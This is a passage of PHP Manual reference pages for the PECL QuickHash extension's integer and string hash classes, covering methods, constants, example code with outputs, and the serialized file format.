This method returns a serialized version of the hash in the same format that loadFromString() can read.

返回值

This method returns a string containing a serialized format of the hash. Each element is stored as a four byte value in the Endianness that the current system uses.

范例

Example #1 QuickHashIntHash::saveToString() example

<?php
$hash = new QuickHashIntHash( 1024 );
var_dump( $hash->exists( 4 ) );
var_dump( $hash->add( 4, 34 ) );
var_dump( $hash->exists( 4 ) );
var_dump( $hash->add( 4, 55 ) );

var_dump( $hash->saveToString() );
?>

User Contributed Notes

There are no user contributed notes for this page.


This method updates an entry in the hash with a new value, or adds a new one if the entry doesn't exist

  • ? QuickHashIntHash::saveToString
  • QuickHashIntHash::update ?
  • PHP Manual
  • QuickHashIntHash
  • This method updates an entry in the hash with a new value, or adds a new one if the entry doesn't exist

QuickHashIntHash::set

(PECL quickhash >= Unknown)

QuickHashIntHash::set — This method updates an entry in the hash with a new value, or adds a new one if the entry doesn't exist

说明

public QuickHashIntHash::set ( int $key , int $value ) : bool

This method tries to update an entry with a new value. In case the entry did not yet exist, it will instead add a new entry. It returns whether the entry was added or update. If there are duplicate keys, only the first found element will get an updated value. Use QuickHashIntHash::CHECK_FOR_DUPES during hash creation to prevent duplicate keys from being part of the hash.

参数

key

The key of the entry to add or update.

value

The new value to set the entry with.

返回值

2 if the entry was found and updated, 1 if the entry was newly added or 0 if there was an error.

范例

Example #1 QuickHashIntHash::set() example

<?php
$hash = new QuickHashIntHash( 1024 );

echo "Set->Add\n";
var_dump( $hash->get( 46692 ) );
var_dump( $hash->set( 46692, 16091 ) );
var_dump( $hash->get( 46692 ) );

echo "Set->Update\n";
var_dump( $hash->set( 46692, 29906 ) );
var_dump( $hash->get( 46692 ) );
?>

以上例程的输出类似于：

bool(false)
int(2)
int(16091)
Set->Update
int(1)
int(29906)

User Contributed Notes

There are no user contributed notes for this page.


This method updates an entry in the hash with a new value

  • ? QuickHashIntHash::set
  • QuickHashStringIntHash ?
  • PHP Manual
  • QuickHashIntHash
  • This method updates an entry in the hash with a new value

QuickHashIntHash::update

(PECL quickhash >= Unknown)

QuickHashIntHash::update — This method updates an entry in the hash with a new value

说明

public QuickHashIntHash::update ( int $key , int $value ) : bool

This method updates an entry with a new value, and returns whether the entry was update. If there are duplicate keys, only the first found element will get an updated value. Use QuickHashIntHash::CHECK_FOR_DUPES during hash creation to prevent duplicate keys from being part of the hash.

参数

key

The key of the entry to add.

value

The new value to update the entry with.

返回值

TRUE when the entry was found and updated, and FALSE if the entry was not part of the hash already.

范例

Example #1 QuickHashIntHash::update() example

<?php
$hash = new QuickHashIntHash( 1024 );

var_dump( $hash->add( 141421, 173205 ) );
var_dump( $hash->update( 141421, 223606 ) );
var_dump( $hash->get( 141421 ) );
?>

以上例程的输出类似于：

bool(true)
bool(true)
int(223606)

User Contributed Notes

There are no user contributed notes for this page.


The QuickHashStringIntHash class

(No version information available, might only be in Git)

简介

This class wraps around a hash containing strings, where the values are integer numbers. Hashes are also available as implementation of the ArrayAccess interface.

Hashes can also be iterated over with foreach as the Iterator interface is implemented as well. The order of which elements are returned in is not guaranteed.

类摘要

QuickHashStringIntHash {
/* Constants */
const integer CHECK_FOR_DUPES = 1 ;
const integer DO_NOT_USE_ZEND_ALLOC = 2 ;
/* Methods */
public add ( string $key , int $value ) : bool
public __construct ( int $size [, int $options = 0 ] )
public delete ( string $key ) : bool
public exists ( string $key ) : bool
public get ( string $key ) : mixed
public getSize ( void ) : int
public static loadFromFile ( string $filename [, int $size = 0 [, int $options = 0 ]] ) : QuickHashStringIntHash
public static loadFromString ( string $contents [, int $size = 0 [, int $options = 0 ]] ) : QuickHashStringIntHash
public saveToFile ( string $filename ) : void
public saveToString ( void ) : string
public set ( string $key , int $value ) : int
public update ( string $key , int $value ) : bool
}

预定义常量

QuickHashStringIntHash::CHECK_FOR_DUPES

If enabled, adding duplicate elements to a set (through either add() or loadFromFile()) will result in those elements to be dropped from the set. This will take up extra time, so only used when it is required.

QuickHashStringIntHash::DO_NOT_USE_ZEND_ALLOC

Disables the use of PHP's internal memory manager for internal set structures. With this option enabled, internal allocations will not count towards the memory_limit settings.

Table of Contents

  • QuickHashStringIntHash::add — This method adds a new entry to the hash
  • QuickHashStringIntHash::__construct — Creates a new QuickHashStringIntHash object
  • QuickHashStringIntHash::delete — This method deletes am entry from the hash
  • QuickHashStringIntHash::exists — This method checks whether a key is part of the hash
  • QuickHashStringIntHash::get — This method retrieves a value from the hash by its key
  • QuickHashStringIntHash::getSize — Returns the number of elements in the hash
  • QuickHashStringIntHash::loadFromFile — This factory method creates a hash from a file
  • QuickHashStringIntHash::loadFromString — This factory method creates a hash from a string
  • QuickHashStringIntHash::saveToFile — This method stores an in-memory hash to disk
  • QuickHashStringIntHash::saveToString — This method returns a serialized version of the hash
  • QuickHashStringIntHash::set — This method updates an entry in the hash with a new value, or adds a new one if the entry doesn't exist
  • QuickHashStringIntHash::update — This method updates an entry in the hash with a new value

User Contributed Notes

There are no user contributed notes for this page.


This method adds a new entry to the hash

  • ? QuickHashStringIntHash
  • QuickHashStringIntHash::__construct ?
  • PHP Manual
  • QuickHashStringIntHash
  • This method adds a new entry to the hash

QuickHashStringIntHash::add

(No version information available, might only be in Git)

QuickHashStringIntHash::add — This method adds a new entry to the hash

说明

public QuickHashStringIntHash::add ( string $key , int $value ) : bool

This method adds a new entry to the hash, and returns whether the entry was added. Entries are by default always added unless QuickHashStringIntHash::CHECK_FOR_DUPES has been passed when the hash was created.

参数

key

The key of the entry to add.

value

The value of the entry to add.

返回值

TRUE when the entry was added, and FALSE if the entry was not added.

范例

Example #1 QuickHashStringIntHash::add() example

<?php
echo "without dupe checking\n";
$hash = new QuickHashStringIntHash( 1024 );
var_dump( $hash );
var_dump( $hash->exists( "four" ) );
var_dump( $hash->get( "four" ) );
var_dump( $hash->add( "four", 22 ) );
var_dump( $hash->exists( "four" ) );
var_dump( $hash->get( "four" ) );
var_dump( $hash->add( "four", 12 ) );

echo "\nwith dupe checking\n";
$hash = new QuickHashStringIntHash( 1024, QuickHashStringIntHash::CHECK_FOR_DUPES );
var_dump( $hash );
var_dump( $hash->exists( "four" ) );
var_dump( $hash->get( "four" ) );
var_dump( $hash->add( "four", 78 ) );
var_dump( $hash->exists( "four" ) );
var_dump( $hash->get( "four" ) );
var_dump( $hash->add( "four", 9 ) );
?>

以上例程的输出类似于：

without dupe checking
object(QuickHashStringIntHash)#1 (0) {
}
bool(false)
bool(false)
bool(true)
bool(true)
int(22)
bool(true)

with dupe checking
object(QuickHashStringIntHash)#2 (0) {
}
bool(false)
bool(false)
bool(true)
bool(true)
int(78)
bool(false)

User Contributed Notes

There are no user contributed notes for this page.


Creates a new QuickHashStringIntHash object

  • ? QuickHashStringIntHash::add
  • QuickHashStringIntHash::delete ?
  • PHP Manual
  • QuickHashStringIntHash
  • Creates a new QuickHashStringIntHash object

QuickHashStringIntHash::__construct

(No version information available, might only be in Git)

QuickHashStringIntHash::__construct — Creates a new QuickHashStringIntHash object

说明

public QuickHashStringIntHash::__construct ( int $size [, int $options = 0 ] )

This constructor creates a new QuickHashStringIntHash. The size is the amount of bucket lists to create. The more lists there are, the less collisions you will have. Options are also supported.

参数

size

The amount of bucket lists to configure. The number you pass in will be automatically rounded up to the next power of two. It is also automatically limited from 64 to 4194304.

options

The options that you can pass in are: QuickHashStringIntHash::CHECK_FOR_DUPES, which makes sure no duplicate entries are added to the hash and QuickHashStringIntHash::DO_NOT_USE_ZEND_ALLOC to not use PHP's internal memory manager.

返回值

Returns a new QuickHashStringIntHash object.

范例

Example #1 QuickHashStringIntHash::__construct() example

<?php
var_dump( new QuickHashStringIntHash( 1024 ) );
var_dump( new QuickHashStringIntHash( 1024, QuickHashStringIntHash::CHECK_FOR_DUPES ) );
?>

User Contributed Notes

There are no user contributed notes for this page.


This method deletes am entry from the hash

  • ? QuickHashStringIntHash::__construct
  • QuickHashStringIntHash::exists ?
  • PHP Manual
  • QuickHashStringIntHash
  • This method deletes am entry from the hash

QuickHashStringIntHash::delete

(No version information available, might only be in Git)

QuickHashStringIntHash::delete — This method deletes am entry from the hash

说明

public QuickHashStringIntHash::delete ( string $key ) : bool

This method deletes an entry from the hash, and returns whether the entry was deleted or not. Associated memory structures will not be freed immediately, but rather when the hash itself is freed.

Elements can not be deleted when the hash is used in an iterator. The method will not throw an exception, but simply return FALSE like would happen with any other deletion failure.

参数

key

The key of the entry to delete.

返回值

TRUE when the entry was deleted, and FALSE if the entry was not deleted.

范例

Example #1 QuickHashStringIntHash::delete() example

<?php
$hash = new QuickHashStringIntHash( 1024 );
var_dump( $hash->exists( 'four' ) );
var_dump( $hash->add( 'four', 5 ) );
var_dump( $hash->get( 'four' ) );
var_dump( $hash->delete( 'four' ) );
var_dump( $hash->exists( 'four' ) );
var_dump( $hash->get( 'four' ) );
var_dump( $hash->delete( 'four' ) );
?>

以上例程的输出类似于：

bool(false)
bool(true)
int(5)
bool(true)
bool(false)
bool(false)
bool(false)

User Contributed Notes

There are no user contributed notes for this page.


This method checks whether a key is part of the hash

  • ? QuickHashStringIntHash::delete
  • QuickHashStringIntHash::get ?
  • PHP Manual
  • QuickHashStringIntHash
  • This method checks whether a key is part of the hash

QuickHashStringIntHash::exists

(No version information available, might only be in Git)

QuickHashStringIntHash::exists — This method checks whether a key is part of the hash

说明

public QuickHashStringIntHash::exists ( string $key ) : bool

This method checks whether an entry with the provided key exists in the hash.

参数

key

The key of the entry to check for whether it exists in the hash.

返回值

Returns TRUE when the entry was found, or FALSE when the entry is not found.

User Contributed Notes

There are no user contributed notes for this page.


This method retrieves a value from the hash by its key

  • ? QuickHashStringIntHash::exists
  • QuickHashStringIntHash::getSize ?
  • PHP Manual
  • QuickHashStringIntHash
  • This method retrieves a value from the hash by its key

QuickHashStringIntHash::get

(No version information available, might only be in Git)

QuickHashStringIntHash::get — This method retrieves a value from the hash by its key

说明

public QuickHashStringIntHash::get ( string $key ) : mixed

This method retrieves a value from the hash by its key.

参数

key

The key of the entry to add.

返回值

The value if the key exists, or NULL if the key wasn't part of the hash.

范例

Example #1 QuickHashStringIntHash::get() example

<?php
$hash = new QuickHashStringIntHash( 8 );
var_dump( $hash->get( "one" ) );

var_dump( $hash->add( "two", 2 ) );
var_dump( $hash->get( "two" ) );
?>

以上例程的输出类似于：

bool(false)
bool(true)
int(2)

User Contributed Notes

There are no user contributed notes for this page.


Returns the number of elements in the hash

  • ? QuickHashStringIntHash::get
  • QuickHashStringIntHash::loadFromFile ?
  • PHP Manual
  • QuickHashStringIntHash
  • Returns the number of elements in the hash

QuickHashStringIntHash::getSize

(No version information available, might only be in Git)

QuickHashStringIntHash::getSize — Returns the number of elements in the hash

说明

public QuickHashStringIntHash::getSize ( void ) : int

Returns the number of elements in the hash.

参数

key

The key of the entry to add.

返回值

The number of elements in the hash.

范例

Example #1 QuickHashStringIntHash::getSize() example

<?php
$hash = new QuickHashStringIntHash( 8 );
var_dump( $hash->add( "two", 2 ) );
var_dump( $hash->add( "three", 5 ) );
var_dump( $hash->getSize() );
?>

以上例程的输出类似于：

bool(true)
bool(true)
int(2)

User Contributed Notes

There are no user contributed notes for this page.


This factory method creates a hash from a file

  • ? QuickHashStringIntHash::getSize
  • QuickHashStringIntHash::loadFromString ?
  • PHP Manual
  • QuickHashStringIntHash
  • This factory method creates a hash from a file

QuickHashStringIntHash::loadFromFile

(No version information available, might only be in Git)

QuickHashStringIntHash::loadFromFile — This factory method creates a hash from a file

说明

public static QuickHashStringIntHash::loadFromFile ( string $filename [, int $size = 0 [, int $options = 0 ]] ) : QuickHashStringIntHash

This factory method creates a new hash from a definition file on disk. The file format consists of a signature 'QH\0x21\0', the number of elements as a 32 bit signed integer in system Endianness, an unsigned 32 bit integer containing the number of element data to follow in characters. This element data contains all the strings. The follows another signed 32 bit integer containing the number of bucket lists. After the header and the strings, the elements follow. They are ordered by bucket list so that the keys don't have to be hashed in order to restore the hash. For each bucket list, the following information is stored (all as 32 bit integers): the bucket list index, the number of elements in that list, and then in pairs of two unsigned 32 bit integers the elements, where the first one is the index into the string list containing the keys, and the second one the value. An example could be:

Example #1 QuickHash StringIntHash file format

00000000  51 48 21 00 02 00 00 00  09 00 00 00 40 00 00 00  |QH!.........@...|
00000010  4f 4e 45 00 4e 49 4e 45  00 07 00 00 00 01 00 00  |ONE.NINE........|
00000020  00 00 00 00 00 01 00 00  00 2f 00 00 00 01 00 00  |........./......|
00000030  00 04 00 00 00 03 00 00  00                       |.........|
00000039

Example #2 QuickHash IntHash file format

header signature ('QH'; key type: 2; value type: 1; filler: \0x00)
00000000  51 48 21 00

number of elements:
00000004  02 00 00 00

length of string values (9 characters):
00000008  09 00 00 00

number of hash bucket lists (this is configured for hashes as argument to the
constructor normally, 64 in this case):
0000000C  40 00 00 00

string values:
00000010  4f 4e 45 00 4e 49 4e 45  00

bucket lists:
  bucket list 1 (with key 7, and 1 element):
    header:
    07 00 00 00 01 00 00 00
    elements (key index: 0 ('ONE'), value = 0):
    00 00 00 00 01 00 00 00
  bucket list 2 (with key 0x2f, and 1 element):
    header:
    2f 00 00 00 01 00 00 00
    elements (key index: 4 ('NINE'), value = 3):
    04 00 00 00 03 00 00 00

参数

filename

The filename of the file to read the hash from.

size

The amount of bucket lists to configure. The number you pass in will be automatically rounded up to the next power of two. It is also automatically limited from 4 to 4194304.

options

The same options that the class' constructor takes; except that the size option is ignored. It is read from the file format (unlike the QuickHashIntHash and QuickHashIntStringHash classes, where it is automatically calculated from the number of entries in the hash.)

返回值

Returns a new QuickHashStringIntHash.

范例

Example #3 QuickHashStringIntHash::loadFromFile() example

<?php
$file = dirname( __FILE__ ) . "/simple.hash.string";
$hash = QuickHashStringIntHash::loadFromFile(
    $file,
    QuickHashStringIntHash::DO_NOT_USE_ZEND_ALLOC
);
foreach( range( 0, 0x0f ) as $key )
{
    $i = 48712 + $key * 1631;
    $k = base_convert( $i, 10, 36 );
    echo $k, ' => ', $hash->get( $k ), "\n";
}
?>

以上例程的输出类似于：

11l4 => 48712
12uf => 50343
143q => 51974
15d1 => 53605
16mc => 55236
17vn => 56867
194y => 58498
1ae9 => 60129
1bnk => 61760
1cwv => 63391
1e66 => 65022
1ffh => 66653
1gos => 68284
1hy3 => 69915
1j7e => 71546
1kgp => 73177

User Contributed Notes

There are no user contributed notes for this page.


This factory method creates a hash from a string

  • ? QuickHashStringIntHash::loadFromFile
  • QuickHashStringIntHash::saveToFile ?
  • PHP Manual
  • QuickHashStringIntHash
  • This factory method creates a hash from a string

QuickHashStringIntHash::loadFromString

(No version information available, might only be in Git)

QuickHashStringIntHash::loadFromString — This factory method creates a hash from a string

说明

public static QuickHashStringIntHash::loadFromString ( string $contents [, int $size = 0 [, int $options = 0 ]] ) : QuickHashStringIntHash

This factory method creates a new hash from a definition in a string. The format is the same as the one used in "loadFromFile".

参数

contents

The string containing a serialized format of the hash.

size

The amount of bucket lists to configure. The number you pass in will be automatically rounded up to the next power of two. It is also automatically limited from 4 to 4194304.

options

The same options that the class' constructor takes; except that the size option is ignored. It is automatically calculated to be the same as the number of entries in the hash, rounded up to the nearest power of two with a maximum limit of 4194304.

返回值

Returns a new QuickHashStringIntHash.

范例

Example #1 QuickHashStringIntHash::loadFromString() example

<?php
$contents = file_get_contents( dirname( __FILE__ ) . "/simple.hash.string" );
$hash = QuickHashStringIntHash::loadFromString(
    $contents,
    QuickHashStringIntHash::DO_NOT_USE_ZEND_ALLOC
);
foreach( range( 0, 0x0f ) as $key )
{
    $i = 48712 + $key * 1631;
    $k = base_convert( $i, 10, 36 );
    echo $k, ' => ', $hash->get( $k ), "\n";
}
?>

以上例程的输出类似于：

11l4 => 48712
12uf => 50343
143q => 51974
15d1 => 53605
16mc => 55236
17vn => 56867
194y => 58498
1ae9 => 60129
1bnk => 61760
1cwv => 63391
1e66 => 65022
1ffh => 66653
1gos => 68284
1hy3 => 69915
1j7e => 71546
1kgp => 73177

User Contributed Notes

There are no user contributed notes for this page.


This method stores an in-memory hash to disk

  • ? QuickHashStringIntHash::loadFromString
  • QuickHashStringIntHash::saveToString ?
  • PHP Manual
  • QuickHashStringIntHash
  • This method stores an in-memory hash to disk

QuickHashStringIntHash::saveToFile

(No version information available, might only be in Git)

QuickHashStringIntHash::saveToFile — This method stores an in-memory hash to disk

说明

public QuickHashStringIntHash::saveToFile ( string $filename ) : void

This method stores an existing hash to a file on disk, in the same format that loadFromFile() can read.

参数

filename

The filename of the file to store the hash in.

返回值

没有返回值。

范例

Example #1 QuickHashStringIntHash::saveToFile() example

<?php
$hash = new QuickHashStringIntHash( 1024 );
var_dump( $hash->add( "fourty three", 42 ) );
var_dump( $hash->add( "fifty two", 52 ) );

$hash->saveToFile( '/tmp/test.hash.string' );
?>

User Contributed Notes

There are no user contributed notes for this page.


This method returns a serialized version of the hash

  • ? QuickHashStringIntHash::saveToFile
  • QuickHashStringIntHash::set ?
  • PHP Manual
  • QuickHashStringIntHash
  • This method returns a serialized version of the hash

QuickHashStringIntHash::saveToString

(No version information available, might only be in Git)

QuickHashStringIntHash::saveToString — This method returns a serialized version of the hash

说明

public QuickHashStringIntHash::saveToString ( void ) : string

This method returns a serialized version of the hash in the same format that loadFromString() can read.

返回值

This method returns a serialized format of an existing hash, in the same format that loadFromString() can read.

范例

Example #1 QuickHashStringIntHash::saveToString() example

<?php
$hash = new QuickHashStringIntHash( 1024 );
var_dump( $hash->add( "fourty three", 42 ) );
var_dump( $hash->add( "fifty two", 52 ) );

var_dump( $hash->saveToString() );
?>

User Contributed Notes

There are no user contributed notes for this page.


This method updates an entry in the hash with a new value, or adds a new one if the entry doesn't exist

  • ? QuickHashStringIntHash::saveToString
  • QuickHashStringIntHash::update ?
  • PHP Manual
  • QuickHashStringIntHash
  • This method updates an entry in the hash with a new value, or adds a new one if the entry doesn't exist

QuickHashStringIntHash::set

(No version information available, might only be in Git)

QuickHashStringIntHash::set — This method updates an entry in the hash with a new value, or adds a new one if the entry doesn't exist

说明

public QuickHashStringIntHash::set ( string $key , int $value ) : int

This method tries to update an entry with a new value. In case the entry did not yet exist, it will instead add a new entry. It returns whether the entry was added or update. If there are duplicate keys, only the first found element will get an updated value. Use QuickHashStringIntHash::CHECK_FOR_DUPES during hash creation to prevent duplicate keys from being part of the hash.

参数

key

The key of the entry to add or update.

value

The value of the entry to add. If a non-string is passed, it will be converted to a string automatically if possible.

返回值

2 if the entry was found and updated, 1 if the entry was newly added or 0 if there was an error.

范例

Example #1 QuickHashStringIntHash::set() example

<?php
$hash = new QuickHashStringIntHash( 1024 );

echo "Set->Add\n";
var_dump( $hash->get( "fourty six thousand six hundred ninety two" ) );
var_dump( $hash->set( "fourty six thousand six hundred ninety two", 16091 ) );
var_dump( $hash->get( "fourty six thousand six hundred ninety two" ) );

echo "Set->Update\n";
var_dump( $hash->set( "fourty six thousand six hundred ninety two", 29906 ) );
var_dump( $hash->get( "fourty six thousand six hundred ninety two" ) );
?>

以上例程的输出类似于：

Set->Add
bool(false)
int(2)
int(16091)
Set->Update
int(1)
int(29906)

User Contributed Notes

There are no user contributed notes for this page.


This method updates an entry in the hash with a new value

  • ? QuickHashStringIntHash::set
  • QuickHashIntStringHash ?
  • PHP Manual
  • QuickHashStringIntHash
  • This method updates an entry in the hash with a new value

QuickHashStringIntHash::update

(No version information available, might only be in Git)

QuickHashStringIntHash::update — This method updates an entry in the hash with a new value

说明

public QuickHashStringIntHash::update ( string $key , int $value ) : bool

This method updates an entry with a new value, and returns whether the entry was update. If there are duplicate keys, only the first found element will get an updated value. Use QuickHashStringIntHash::CHECK_FOR_DUPES during hash creation to prevent duplicate keys from being part of the hash.

参数

key

The key of the entry to add.

value

The new value for the entry. If a non-string is passed, it will be converted to a string automatically if possible.

返回值

TRUE when the entry was found and updated, and FALSE if the entry was not part of the hash already.

范例

Example #1 QuickHashStringIntHash::update() example

<?php
$hash = new QuickHashStringIntHash( 1024 );

$hash->add( 'six', 314159265 );
$hash->add( "a lot", 314159265 );

echo $hash->get( 'six' ), "\n";
echo $hash->get( 'a lot' ), "\n";

var_dump( $hash->update( 'a lot', 314159266 ) );
var_dump( $hash->update( "a lot plus one", 314159999 ) );

echo $hash->get( 'six' ), "\n";
echo $hash->get( 'a lot' ), "\n";
?>

以上例程的输出类似于：

314159265
314159265
bool(true)
bool(false)
314159265
314159266

User Contributed Notes

There are no user contributed notes for this page.


The QuickHashIntStringHash class

(PECL quickhash >= Unknown)

简介

This class wraps around a hash containing integer numbers, where the values are strings. Hashes are also available as implementation of the ArrayAccess interface.

Hashes can also be iterated over with foreach as the Iterator interface is implemented as well. The order of which elements are returned in is not guaranteed.

类摘要

QuickHashIntStringHash {
/* Constants */
const integer CHECK_FOR_DUPES = 1 ;
const integer DO_NOT_USE_ZEND_ALLOC = 2 ;
const integer HASHER_NO_HASH = 256 ;
const integer HASHER_JENKINS1 = 512 ;
const integer HASHER_JENKINS2 = 1024 ;
/* Methods */
public add ( int $key , string $value ) : bool
public __construct ( int $size [, int $options = 0 ] )
public delete ( int $key ) : bool
public exists ( int $key ) : bool
public get ( int $key ) : mixed
public getSize ( void ) : int
public static loadFromFile ( string $filename [, int $size = 0 [, int $options = 0 ]] ) : QuickHashIntStringHash
public static loadFromString ( string $contents [, int $size = 0 [, int $options = 0 ]] ) : QuickHashIntStringHash
public saveToFile ( string $filename ) : void
public saveToString ( void ) : string
public set ( int $key , string $value ) : int
public update ( int $key , string $value ) : bool
}

预定义常量

QuickHashIntStringHash::CHECK_FOR_DUPES

If enabled, adding duplicate elements to a set (through either add() or loadFromFile()) will result in those elements to be dropped from the set. This will take up extra time, so only used when it is required.

QuickHashIntStringHash::DO_NOT_USE_ZEND_ALLOC

Disables the use of PHP's internal memory manager for internal set structures. With this option enabled, internal allocations will not count towards the memory_limit settings.

QuickHashIntStringHash::HASHER_NO_HASH

Selects to not use a hashing function, but merely use a modulo to find the bucket list index. This is not faster than normal hashing, and gives more collisions.

QuickHashIntStringHash::HASHER_JENKINS1

This is the default hashing function to turn the integer hashes into bucket list indexes.

QuickHashIntStringHash::HASHER_JENKINS2

Selects a variant hashing algorithm.

Table of Contents

  • QuickHashIntStringHash::add — This method adds a new entry to the hash
  • QuickHashIntStringHash::__construct — Creates a new QuickHashIntStringHash object
  • QuickHashIntStringHash::delete — This method deletes am entry from the hash
  • QuickHashIntStringHash::exists — This method checks whether a key is part of the hash
  • QuickHashIntStringHash::get — This method retrieves a value from the hash by its key
  • QuickHashIntStringHash::getSize — Returns the number of elements in the hash
  • QuickHashIntStringHash::loadFromFile — This factory method creates a hash from a file
  • QuickHashIntStringHash::loadFromString — This factory method creates a hash from a string
  • QuickHashIntStringHash::saveToFile — This method stores an in-memory hash to disk
  • QuickHashIntStringHash::saveToString — This method returns a serialized version of the hash
  • QuickHashIntStringHash::set — This method updates an entry in the hash with a new value, or adds a new one if the entry doesn't exist
  • QuickHashIntStringHash::update — This method updates an entry in the hash with a new value

User Contributed Notes

There are no user contributed notes for this page.


This method adds a new entry to the hash

  • ? QuickHashIntStringHash
  • QuickHashIntStringHash::__construct ?
  • PHP Manual
  • QuickHashIntStringHash
  • This method adds a new entry to the hash

QuickHashIntStringHash::add

(PECL quickhash >= Unknown)

QuickHashIntStringHash::add — This method adds a new entry to the hash

说明

public QuickHashIntStringHash::add ( int $key , string $value ) : bool

This method adds a new entry to the hash, and returns whether the entry was added. Entries are by default always added unless QuickHashIntStringHash::CHECK_FOR_DUPES has been passed when the hash was created.

参数

key

The key of the entry to add.

value

The value of the entry to add. If a non-string is passed, it will be converted to a string automatically if possible.

返回值

TRUE when the entry was added, and FALSE if the entry was not added.

范例

Example #1 QuickHashIntStringHash::add() example

<?php
echo "without dupe checking\n";
$hash = new QuickHashIntStringHash( 1024 );
var_dump( $hash->exists( 4 ) );
var_dump( $hash->get( 4 ) );
var_dump( $hash->add( 4, "twenty two" ) );
var_dump( $hash->exists( 4 ) );
var_dump( $hash->get( 4 ) );
var_dump( $hash->add( 4, "twelve" ) );

echo "\nwith dupe checking\n";
$hash = new QuickHashIntStringHash( 1024, QuickHashIntStringHash::CHECK_FOR_DUPES );
var_dump( $hash->exists( 4 ) );
var_dump( $hash->get( 4 ) );
var_dump( $hash->add( 4, "seventy eight" ) );
var_dump( $hash->exists( 4 ) );
var_dump( $hash->get( 4 ) );
var_dump( $hash->add( 4, "nine" ) );
?>

以上例程的输出类似于：

without dupe checking
bool(false)
bool(false)
bool(true)
bool(true)
string(10) "twenty two"
bool(true)

with dupe checking
bool(false)
bool(false)
bool(true)
bool(true)
string(13) "seventy eight"
bool(false)

User Contributed Notes

There are no user contributed notes for this page.


Creates a new QuickHashIntStringHash object

  • ? QuickHashIntStringHash::add
  • QuickHashIntStringHash::delete ?
  • PHP Manual
  • QuickHashIntStringHash
  • Creates a new QuickHashIntStringHash object

QuickHashIntStringHash::__construct

(PECL quickhash >= Unknown)

QuickHashIntStringHash::__construct — Creates a new QuickHashIntStringHash object

说明

public QuickHashIntStringHash::__construct ( int $size [, int $options = 0 ] )

This constructor creates a new QuickHashIntStringHash. The size is the amount of bucket lists to create. The more lists there are, the less collisions you will have. Options are also supported.

参数

size

The amount of bucket lists to configure. The number you pass in will be automatically rounded up to the next power of two. It is also automatically limited from 64 to 4194304.

options

The options that you can pass in are: QuickHashIntStringHash::CHECK_FOR_DUPES, which makes sure no duplicate entries are added to the hash; QuickHashIntStringHash::DO_NOT_USE_ZEND_ALLOC to not use PHP's internal memory manager as well as one of QuickHashIntStringHash::HASHER_NO_HASH, QuickHashIntStringHash::HASHER_JENKINS1 or QuickHashIntStringHash::HASHER_JENKINS2. These last three configure which hashing algorithm to use. All options can be combined using bitmasks.

返回值

Returns a new QuickHashIntStringHash object.

范例

Example #1 QuickHashIntStringHash::__construct() example

<?php
var_dump( new QuickHashIntStringHash( 1024 ) );
var_dump( new QuickHashIntStringHash( 1024, QuickHashIntStringHash::CHECK_FOR_DUPES ) );
var_dump(
    new QuickHashIntStringHash(
        1024,
        QuickHashIntStringHash::DO_NOT_USE_ZEND_ALLOC | QuickHashIntStringHash::HASHER_JENKINS2
    )
);
?>

User Contributed Notes

There are no user contributed notes for this page.


This method deletes am entry from the hash

  • ? QuickHashIntStringHash::__construct
  • QuickHashIntStringHash::exists ?
  • PHP Manual
  • QuickHashIntStringHash
  • This method deletes am entry from the hash

QuickHashIntStringHash::delete

(PECL quickhash >= Unknown)

QuickHashIntStringHash::delete — This method deletes am entry from the hash

说明

public QuickHashIntStringHash::delete ( int $key ) : bool

This method deletes an entry from the hash, and returns whether the entry was deleted or not. Associated memory structures will not be freed immediately, but rather when the hash itself is freed.

Elements can not be deleted when the hash is used in an iterator. The method will not throw an exception, but simply return FALSE like would happen with any other deletion failure.

参数

key

The key of the entry to delete.

返回值

TRUE when the entry was deleted, and FALSE if the entry was not deleted.

范例

Example #1 QuickHashIntStringHash::delete() example

<?php
$hash = new QuickHashIntStringHash( 1024 );
var_dump( $hash->exists( 4 ) );
var_dump( $hash->add( 4, "five" ) );
var_dump( $hash->delete( 4 ) );
var_dump( $hash->exists( 4 ) );
var_dump( $hash->delete( 4 ) );
?>

以上例程的输出类似于：

bool(false)
bool(true)
bool(true)
bool(false)
bool(false)

User Contributed Notes

There are no user contributed notes for this page.


This method checks whether a key is part of the hash

  • ? QuickHashIntStringHash::delete
  • QuickHashIntStringHash::get ?
  • PHP Manual
  • QuickHashIntStringHash
  • This method checks whether a key is part of the hash

QuickHashIntStringHash::exists

(PECL quickhash >= Unknown)

QuickHashIntStringHash::exists — This method checks whether a key is part of the hash

说明

public QuickHashIntStringHash::exists ( int $key ) : bool

This method checks whether an entry with the provided key exists in the hash.

参数

key

The key of the entry to check for whether it exists in the hash.

返回值

Returns TRUE when the entry was found, or FALSE when the entry is not found.

User Contributed Notes

There are no user contributed notes for this page.


This method retrieves a value from the hash by its key

  • ? QuickHashIntStringHash::exists
  • QuickHashIntStringHash::getSize ?
  • PHP Manual
  • QuickHashIntStringHash
  • This method retrieves a value from the hash by its key

QuickHashIntStringHash::get

(PECL quickhash >= Unknown)

QuickHashIntStringHash::get — This method retrieves a value from the hash by its key

说明

public QuickHashIntStringHash::get ( int $key ) : mixed

This method retrieves a value from the hash by its key.

参数

key

The key of the entry to add.

返回值

The value if the key exists, or NULL if the key wasn't part of the hash.

范例

Example #1 QuickHashIntStringHash::get() example

<?php
$hash = new QuickHashIntStringHash( 8 );
var_dump( $hash->get( 1 ) );

var_dump( $hash->add( 2, "two" ) );
var_dump( $hash->get( 2 ) );

var_dump( $hash->add( 3, 5 ) );
var_dump( $hash->get( 3 ) );
?>

以上例程的输出类似于：

bool(false)
bool(true)
string(3) "two"
bool(true)
string(1) "5"

User Contributed Notes

There are no user contributed notes for this page.


Returns the number of elements in the hash

  • ? QuickHashIntStringHash::get
  • QuickHashIntStringHash::loadFromFile ?
  • PHP Manual
  • QuickHashIntStringHash
  • Returns the number of elements in the hash

QuickHashIntStringHash::getSize

(PECL quickhash >= Unknown)

QuickHashIntStringHash::getSize — Returns the number of elements in the hash

说明

public QuickHashIntStringHash::getSize ( void ) : int

Returns the number of elements in the hash.

返回值

The number of elements in the hash.

范例

Example #1 QuickHashIntStringHash::getSize() example

<?php
$hash = new QuickHashIntStringHash( 8 );
var_dump( $hash->add( 2, "two" ) );
var_dump( $hash->add( 3, 5 ) );
var_dump( $hash->getSize() );
?>

以上例程的输出类似于：

bool(true)
bool(true)
int(2)

User Contributed Notes

There are no user contributed notes for this page.


This factory method creates a hash from a file

  • ? QuickHashIntStringHash::getSize
  • QuickHashIntStringHash::loadFromString ?
  • PHP Manual
  • QuickHashIntStringHash
  • This factory method creates a hash from a file

QuickHashIntStringHash::loadFromFile

(PECL quickhash >= Unknown)

